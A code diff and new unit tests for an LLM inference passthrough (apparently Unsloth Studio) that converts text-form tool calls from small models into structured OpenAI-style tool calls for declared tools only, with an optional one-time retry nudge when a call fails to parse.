@@ -10974,6 +11408,33 @@ async def _openai_passthrough_non_streaming(
         api_monitor.finish(monitor_id)
         return Response(content = resp.content, media_type = "application/json")
 
+    # Opt-in single-retry nudge: the model clearly tried to call a tool (signal
+    # present) but nothing parseable/declared came out, so re-ask once with the
+    # original prompt prefix intact (llama-server reuses the slot's KV cache)
+    # plus a two-message nudge suffix. The retry replaces the original response
+    # only when it actually yields a usable call.
+    if (
+        _allowed_tools
+        and nudge_enabled(payload.nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, body.get("tools"))
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await nonstreaming_client().post(
+                target_url,
+                json = retry_body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")):
+                    resp, data = retry_resp, retry_data
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     changed = False
     for choice in data.get("choices", []):
         if not isinstance(choice, dict):
@@ -10982,6 +11443,17 @@ async def _openai_passthrough_non_streaming(
         if not isinstance(msg, dict):
             continue
 
+        # Small models emit tool calls as text instead of structured tool_calls;
+        # promote them (declared client tools only) so the agent sees a real call.
+        # Truncation wins over the upgrade (same rule as the streaming and
+        # Anthropic paths): a call cut off at max_tokens keeps
+        # finish_reason="length" so the client knows the arguments may be
+        # incomplete, while the healed call itself stays attached.
+        if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")):
+            if choice.get("finish_reason") == "stop":
+                choice["finish_reason"] = "tool_calls"
+            changed = True
+
         # OpenAI requires content=null on a pure tool-call turn; llama-server
         # emits content="".
         if msg.get("tool_calls") and msg.get("content") == "":
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
new file mode 100644
index 0000000000..06316e2243
--- /dev/null
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -0,0 +1,1358 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit tests for core/inference/passthrough_healing.py: promoting text-form
+tool calls back into structured calls on the client-tool passthrough. The
+route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in
+their own endpoint test files; this file exercises the shared state machine
+and helpers directly.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.passthrough_healing import (  # noqa: E402
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
+
+TOOLS = [
+    {"type": "function", "function": {"name": "Bash", "parameters": {}}},
+    {"type": "function", "function": {"name": "Read", "parameters": {}}},
+]
+
+BASH_COMMAND_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "Bash",
+        "parameters": {
+            "type": "object",
+            "properties": {"command": {"type": "string"}},
+            "required": ["command"],
+        },
+    },
+}
+XML_BASH = '<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}</tool_call>'
+XML_UNDECLARED = '<tool_call>{"name":"Nuke","arguments":{}}</tool_call>'
+
+
+def _events_text(events):
+    return "".join(text for kind, text in events if kind == "text")
+
+
+def _events_calls(events):
+    return [call for kind, call in events if kind == "tool_call"]
+
+
+class TestHealGate:
+    def test_returns_declared_names(self):
+        assert heal_gate(None, TOOLS) == {"Bash", "Read"}
+        assert heal_gate(True, TOOLS) == {"Bash", "Read"}
+
+    def test_opt_out_and_no_tools(self):
+        assert heal_gate(False, TOOLS) is None
+        assert heal_gate(None, []) is None
+        assert heal_gate(None, None) is None
+
+    def test_malformed_tool_entries_ignored(self):
+        assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None
+
+    def test_tool_choice_none_disables(self):
+        assert heal_gate(None, TOOLS, "none") is None
+
+    def test_tool_choice_forced_function_narrows_allowlist(self):
+        forced = {"type": "function", "function": {"name": "Bash"}}
+        assert heal_gate(None, TOOLS, forced) == {"Bash"}
+
+    def test_tool_choice_forced_undeclared_function_disables(self):
+        forced = {"type": "function", "function": {"name": "Nuke"}}
+        assert heal_gate(None, TOOLS, forced) is None
+
+    def test_tool_choice_auto_and_required_keep_full_set(self):
+        assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"}
+        assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"}
+
+    def test_tool_choice_unrecognized_dict_keeps_full_set(self):
+        assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"}
+
+
+class TestHealOpenaiMessage:
+    def test_promotes_xml_and_strips_content(self):
+        msg = {"role": "assistant", "content": XML_BASH}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] is None
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_keeps_surrounding_prose(self):
+        msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert msg["content"] == "Let me check."
+
+    def test_undeclared_name_not_promoted(self):
+        msg = {"role": "assistant", "content": XML_UNDECLARED}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_UNDECLARED
+        assert "tool_calls" not in msg
+
+    def test_structured_calls_untouched(self):
+        msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]}
+        assert heal_openai_message(msg, {"Bash"}) is False
+        assert msg["content"] == XML_BASH
+
+    def test_prose_only_untouched(self):
+        msg = {"role": "assistant", "content": "just an answer"}
+        assert heal_openai_message(msg, {"Bash"}) is False
+
+    def test_bare_string_arguments_use_schema_key(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True
+        args = json.loads(msg["tool_calls"][0]["function"]["arguments"])
+        assert args == {"command": "echo hi"}
+
+    def test_bare_string_arguments_decline_ambiguous_schema(self):
+        msg = {
+            "role": "assistant",
+            "content": '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>',
+        }
+        assert heal_openai_message(msg, {"Bash"}, TOOLS) is False
+        assert "tool_calls" not in msg
+
+    def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self):
+        # Span-exact removal: only the promoted Bash markup is dropped; the
+        # undeclared Nuke call's text stays in the content byte-intact.
+        content = f"pre {XML_BASH} mid {XML_UNDECLARED} post"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        (call,) = msg["tool_calls"]
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in msg["content"]
+        assert "pre" in msg["content"] and "post" in msg["content"]
+        assert XML_BASH not in msg["content"]
+
+    def test_multiple_declared_calls_all_promoted(self):
+        content = f"{XML_BASH} and {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert len(msg["tool_calls"]) == 2
+
+    def test_mixed_formats_promote_in_document_order(self):
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        content = f"{func_read} then {XML_BASH}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash", "Read"}) is True
+        assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"]
+        assert msg["content"] == "then"
+
+    def test_unparseable_closed_block_not_deleted(self):
+        # A closed <tool_call> block whose body never parses is model output,
+        # not a promotable call; it must survive promotion of its neighbor.
+        garbage = "<tool_call>not json at all</tool_call>"
+        content = f"{XML_BASH} {garbage}"
+        msg = {"role": "assistant", "content": content}
+        assert heal_openai_message(msg, {"Bash"}) is True
+        assert garbage in msg["content"]
+
+
+class TestStreamHealer:
+    def test_plain_text_passes_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("hello ") + healer.feed("world") + healer.finalize()
+        assert _events_text(events) == "hello world"
+        assert not _events_calls(events)
+
+    def test_complete_call_in_one_chunk(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"On it. {XML_BASH}") + healer.finalize()
+        assert _events_text(events) == "On it. "
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert healer.healed
+
+    def test_signal_split_across_chunks(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = []
+        for piece in ["<tool", '_call>{"name":"Bash",', '"arguments":{}}</tool_call>']:
+            events += healer.feed(piece)
+        events += healer.finalize()
+        assert _events_text(events) == ""
+        assert len(_events_calls(events)) == 1
+
+    def test_closed_malformed_tool_block_flushes_immediately(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call>not json</tool_call> after")
+        assert _events_text(events) == "<tool_call>not json</tool_call> after"
+        assert not _events_calls(events)
+
+    def test_mixed_formats_stream_in_document_order(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        func_read = "<function=Read><parameter=path>a.txt</parameter></function>"
+        events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize()
+        assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"]
+        assert _events_text(events).strip() == "then"
+
+    def test_false_alarm_html_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("use the <div> tag") + healer.finalize()
+        assert _events_text(events) == "use the <div> tag"
+        assert not _events_calls(events)
+
+    def test_partial_signal_tail_held_then_flushed_at_end(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("trailing <tool")
+        assert _events_text(events) == "trailing "  # tail held back
+        events += healer.finalize()
+        assert _events_text(events) == "trailing <tool"
+
+    def test_mixed_calls_promote_declared_flush_undeclared_in_order(self):
+        # Declared + undeclared in the same buffer: the declared call is
+        # promoted, the undeclared markup flushes as text, and event order
+        # follows document order (call first here, since it came first).
+        healer = StreamToolCallHealer({"Bash"})
+        text = f"{XML_BASH} then {XML_UNDECLARED} post"
+        events = healer.feed(text) + healer.finalize()
+        assert [k for k, _ in events if k == "tool_call"] == ["tool_call"]
+        assert events[0][0] == "tool_call"
+        joined = _events_text(events)
+        assert XML_UNDECLARED in joined
+        assert "then" in joined and "post" in joined
+
+    def test_text_between_two_healed_calls_keeps_document_order(self):
+        # call A, " middle ", call B in ONE buffer must stream as
+        # call A -> text -> call B, never both calls then the text.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds == ["tool_call", "text", "tool_call"]
+        assert events[1][1] == " middle "
+
+    def test_undeclared_then_declared_keeps_document_order(self):
+        # The undeclared block precedes the declared call; its raw text must
+        # be emitted BEFORE the promoted call event, never after.
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize()
+        kinds = [k for k, _ in events]
+        assert kinds.index("tool_call") == len(kinds) - 1
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+        assert XML_UNDECLARED in _events_text(events)
+
+    def test_declared_promoted_then_late_undeclared_flushes_raw(self):
+        # Streaming causality: the declared call completed and was already
+        # emitted before the undeclared one arrived. The undeclared markup
+        # must still reach the client as raw text (no data loss).
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(f"{XML_BASH} then ")
+        assert len(_events_calls(events)) == 1
+        events += healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert XML_UNDECLARED in _events_text(events)
+        assert len(_events_calls(events)) == 1
+
+    def test_undeclared_tool_flushes_raw(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed(XML_UNDECLARED) + healer.finalize()
+        assert _events_text(events) == XML_UNDECLARED
+        assert not _events_calls(events)
+
+    def test_two_calls_and_text_between(self):
+        healer = StreamToolCallHealer({"Bash", "Read"})
+        xml_read = '<tool_call>{"name":"Read","arguments":{"path":"f"}}</tool_call>'
+        events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize()
+        calls = _events_calls(events)
+        assert [c["function"]["name"] for c in calls] == ["Bash", "Read"]
+        assert [c["id"] for c in calls] == ["call_0", "call_1"]
+        assert _events_text(events).strip() == "then"
+
+    def test_incomplete_call_healed_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed('<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}')
+        assert events == []  # held
+        events = healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "Bash"
+
+    def test_teaching_text_flushes_at_finalize(self):
+        healer = StreamToolCallHealer({"Bash"})
+        events = healer.feed("<tool_call> is the marker syntax") + healer.finalize()
+        assert _events_text(events) == "<tool_call> is the marker syntax"
+        assert not _events_calls(events)
+
+    def test_hold_bound_flushes(self):
+        healer = StreamToolCallHealer({"Bash"})
+        blob = "<tool_call>" + "x" * (64 * 1024 + 10)
+        events = healer.feed(blob) + healer.finalize()
+        assert _events_text(events) == blob
+        assert not _events_calls(events)
+
+    def test_dormant_after_structured_delta(self):
+        healer = StreamToolCallHealer({"Bash"})
+        held = healer.feed("prefix <tool")
+        flush = healer.structured_tool_call_seen()
+        after = healer.feed(XML_BASH) + healer.finalize()
+        assert _events_text(held + flush + after) == f"prefix <tool{XML_BASH}"
+        assert not _events_calls(after)
+
+
+class TestNudgeHelpers:
+    def _resp(
+        self,
+        content,
+        tool_calls = None,
+    ):
+        msg = {"role": "assistant", "content": content}
+        if tool_calls:
+            msg["tool_calls"] = tool_calls
+        return {"choices": [{"message": msg, "finish_reason": "stop"}]}
+
+    def test_retry_on_unparseable_signal(self):
+        # Signal present but the JSON never parses and no declared name matches.
+        data = self._resp("<tool_call>call Bash somehow???")
+        assert nudge_should_retry(data, {"Read"}) is True
+
+    def test_no_retry_on_clean_prose(self):
+        assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False
+
+    def test_no_retry_when_heal_would_succeed(self):
+        assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False
+
+    def test_no_retry_with_structured_calls(self):
+        data = self._resp("", tool_calls = [{"id": "x"}])
+        assert nudge_should_retry(data, {"Bash"}) is False
+
+    def test_no_retry_when_healing_disabled(self):
+        assert nudge_should_retry(self._resp("<tool_call>???"), None) is False
+
+    def test_nudge_messages_shape(self):
+        data = self._resp("<tool_call>garbage")
+        suffix = nudge_messages(data, {"Bash", "Read"})
+        assert [m["role"] for m in suffix] == ["assistant", "user"]
+        assert suffix[0]["content"] == "<tool_call>garbage"
+        assert "`Bash` or `Read`" in suffix[1]["content"]
+
+    def test_retry_with_undeclared_structured_call_is_not_an_improvement(self):
+        # The retry replaces the original only when it carries a USABLE call:
+        # a structured call naming an undeclared tool must not count.
+        undeclared = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}
+        ]
+        declared = [
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}
+        ]
+        assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False
+        assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True
+
+    def test_retry_with_mixed_structured_calls_is_not_an_improvement(self):
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST), so a mixed retry
+        # could still hand the client an undeclared tool.
+        mixed = [
+            {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}},
+            {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}},
+        ]
+        assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False
+        assert (
+            response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False
+        )
+
+    @pytest.mark.parametrize(
+        "data",
+        [
+            None,
+            "not a dict",
+            {},
+            {"choices": []},
+            {"choices": [{}]},
+            {"choices": [{"message": None}]},  # llama-server error bodies do this
+            {"choices": [{"message": "not a dict"}]},
+            {"choices": [{"message": {"content": None}}]},
+            {"error": {"message": "boom"}},
+        ],
+    )
+    def test_malformed_response_shapes_never_raise(self, data):
+        # A malformed upstream body must degrade to "nothing to heal/nudge",
+        # never crash the request with an AttributeError.
+        assert nudge_should_retry(data, {"Bash"}) is False
+        assert response_has_promotable_calls(data, {"Bash"}) is False
+        suffix = nudge_messages(data, {"Bash"})
+        assert suffix[0] == {"role": "assistant", "content": ""}
+
+
+# ── Route-level wiring (OpenAI passthrough) ─────────────────────────────
+# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py.
+
+import asyncio  # noqa: E402
+import threading  # noqa: E402
+from types import SimpleNamespace  # noqa: E402
+
+import httpx  # noqa: E402
+
+from core.inference.api_monitor import ApiMonitor  # noqa: E402
+from models.inference import ChatCompletionRequest, ChatMessage  # noqa: E402
+from routes.inference import (  # noqa: E402
+    _openai_passthrough_non_streaming,
+    _openai_passthrough_stream,
+)
+
+LOOKUP_TOOL = {
+    "type": "function",
+    "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}},
+}
+LOOKUP_XML = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+
+
+def _payload(**kwargs):
+    defaults = dict(
+        model = "default",
+        messages = [ChatMessage(role = "user", content = "hi")],
+        tools = [LOOKUP_TOOL],
+    )
+    defaults.update(kwargs)
+    return ChatCompletionRequest(**defaults)
+
+
+def _llama_backend():
+    return SimpleNamespace(
+        base_url = "http://llama.test",
+        context_length = 4096,
+        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+    )
+
+
+def _upstream_message(
+    content,
+    tool_calls = None,
+    finish_reason = "stop",
+):
+    message = {"role": "assistant", "content": content}
+    if tool_calls is not None:
+        message["tool_calls"] = tool_calls
+    return {
+        "id": "chatcmpl-up",
+        "object": "chat.completion",
+        "created": 1,
+        "model": "gguf",
+        "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}],
+        "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3},
+    }
+
+
+class ScriptedClient:
+    """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs."""
+
+    def __init__(self, bodies):
+        self.bodies = list(bodies)
+        self.posts = []
+
+    async def post(
+        self,
+        _url,
+        json = None,
+        timeout = None,
+    ):
+        self.posts.append(json)
+        return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)])
+
+
+async def _drive_non_streaming(monkeypatch, payload, bodies):
+    import routes.inference as inf_mod
+
+    client = ScriptedClient(bodies)
+    monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+    response = await _openai_passthrough_non_streaming(
+        _llama_backend(), payload, "gguf", monitor_id = None
+    )
+    return client, json.loads(response.body)
+
+
+async def _drive_stream(monkeypatch, payload, lines):
+    import routes.inference as inf_mod
+
+    class Request:
+        async def is_disconnected(self):
+            return False
+
+    async def fake_send(*_args, **_kwargs):
+        return httpx.Response(200, content = b"")
+
+    async def fake_items(*_args, **_kwargs):
+        for line in lines:
+            yield line
+
+    monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+    monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+    monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3))
+    response = await _openai_passthrough_stream(
+        Request(),
+        threading.Event(),
+        _llama_backend(),
+        payload,
+        "gguf",
+        "chatcmpl-test",
+        monitor_id = None,
+    )
+    return [chunk async for chunk in response.body_iterator]
+
+
+def _stream_payloads(chunks):
+    out = []
+    for chunk in chunks:
+        for line in chunk.splitlines():
+            if line.startswith("data: ") and line[6:] != "[DONE]":
+                out.append(json.loads(line[6:]))
+    return out
+
+
+class TestOpenaiNonStreamingRoute:
+    def test_heals_xml_to_tool_calls(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)]
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "tool_calls"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            assert choice["message"]["content"] is None
+            assert data["usage"]["total_tokens"] == 3  # usage preserved
+            assert len(client.posts) == 1  # healing never re-requests
+
+        asyncio.run(_run())
+
+    def test_bare_string_uses_client_schema_key(self, monkeypatch):
+        async def _run():
+            content = '<tool_call>{"name":"Bash","arguments":"echo hi"}</tool_call>'
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tools = [BASH_COMMAND_TOOL]),
+                [_upstream_message(content)],
+            )
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"}
+
+        asyncio.run(_run())
+
+    def test_opt_out_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            choice = data["choices"][0]
+            assert choice["message"]["content"] == LOOKUP_XML
+            assert "tool_calls" not in choice["message"]
+            assert choice["finish_reason"] == "stop"
+
+        asyncio.run(_run())
+
+    def test_no_tools_untouched(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)]
+            )
+            assert data["choices"][0]["message"]["content"] == LOOKUP_XML
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)])
+            assert data["choices"][0]["message"]["content"] == xml
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_structured_calls_untouched(self, monkeypatch):
+        async def _run():
+            native = [
+                {
+                    "id": "call_up",
+                    "type": "function",
+                    "function": {"name": "lookup", "arguments": "{}"},
+                }
+            ]
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")],
+            )
+            assert data["choices"][0]["message"]["tool_calls"] == native
+
+        asyncio.run(_run())
+
+    def test_length_finish_reason_preserved(self, monkeypatch):
+        async def _run():
+            # Truncated generation: the healed call stays attached but the
+            # client must still see the truncation, so length is never
+            # upgraded to tool_calls.
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(),
+                [_upstream_message(LOOKUP_XML, finish_reason = "length")],
+            )
+            choice = data["choices"][0]
+            assert choice["finish_reason"] == "length"
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_relays_verbatim(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = "none"),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch):
+        async def _run():
+            _, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(tool_choice = {"type": "function", "function": {"name": "other"}}),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            message = data["choices"][0]["message"]
+            assert message["content"] == LOOKUP_XML
+            assert "tool_calls" not in message
+
+        asyncio.run(_run())
+
+    def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch):
+        async def _run():
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            mixed = f"{LOOKUP_XML} also {rogue}"
+            _, data = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(mixed)]
+            )
+            choice = data["choices"][0]
+            (call,) = choice["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert rogue in choice["message"]["content"]
+            assert choice["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch):
+        async def _run():
+            # A healed text-form call goes out first (index 0); a native
+            # structured delta follows. Clients merge deltas by index, so the
+            # native call must be shifted off index 0 or the two would merge.
+            native_line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_native","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                native_line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            indexes = {}
+            for payload_data in _stream_payloads(chunks):
+                for ch in payload_data.get("choices", []):
+                    for tc in (ch.get("delta") or {}).get("tool_calls") or []:
+                        indexes.setdefault(tc["index"], tc.get("id"))
+            assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native"
+            assert indexes.get(1) == "call_native"
+
+        asyncio.run(_run())
+
+    def test_role_delta_precedes_healed_stream_content(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + "}}]}",
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            first_delta = payloads[0]["choices"][0]["delta"]
+            assert first_delta == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+
+        asyncio.run(_run())
+
+    def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool(
+        self, monkeypatch
+    ):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":'
+                + json.dumps(LOOKUP_XML)
+                + '},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines)
+            payloads = _stream_payloads(chunks)
+            assert payloads[0]["choices"][0]["finish_reason"] is None
+            assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"}
+            assert "tool_calls" in payloads[1]["choices"][0]["delta"]
+            assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+
+GARBAGE_SIGNAL = "<tool_call>call lookup somehow???"
+
+
+class TestNudgeRetryOpenai:
+    def test_retry_recovers_call(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 2  # exactly one retry
+            # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard).
+            original, retry = client.posts
+            assert retry["messages"][: len(original["messages"])] == original["messages"]
+            suffix = retry["messages"][len(original["messages"]) :]
+            assert [m["role"] for m in suffix] == ["assistant", "user"]
+            assert suffix[0]["content"] == GARBAGE_SIGNAL
+            # The healed retry response is returned.
+            (call,) = data["choices"][0]["message"]["tool_calls"]
+            assert call["function"]["name"] == "lookup"
+            assert data["choices"][0]["finish_reason"] == "tool_calls"
+
+        asyncio.run(_run())
+
+    def test_retry_still_garbage_returns_original(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")],
+            )
+            assert len(client.posts) == 2
+            assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL
+            assert "tool_calls" not in data["choices"][0]["message"]
+
+        asyncio.run(_run())
+
+    def test_default_off_single_post(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)]
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_on_clean_prose(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message("all done")],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+    def test_no_retry_when_heal_succeeds(self, monkeypatch):
+        async def _run():
+            client, data = await _drive_non_streaming(
+                monkeypatch,
+                _payload(nudge_tool_calls = True),
+                [_upstream_message(LOOKUP_XML)],
+            )
+            assert len(client.posts) == 1
+            assert data["choices"][0]["message"]["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_heal_opt_out_disables_nudge_too(self, monkeypatch):
+        async def _run():
+            client, _ = await _drive_non_streaming(
+                monkeypatch,
+                _payload(auto_heal_tool_calls = False, nudge_tool_calls = True),
+                [_upstream_message(GARBAGE_SIGNAL)],
+            )
+            assert len(client.posts) == 1
+
+        asyncio.run(_run())
+
+
+class TestNudgeRetryAnthropic:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        nudge = None,
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
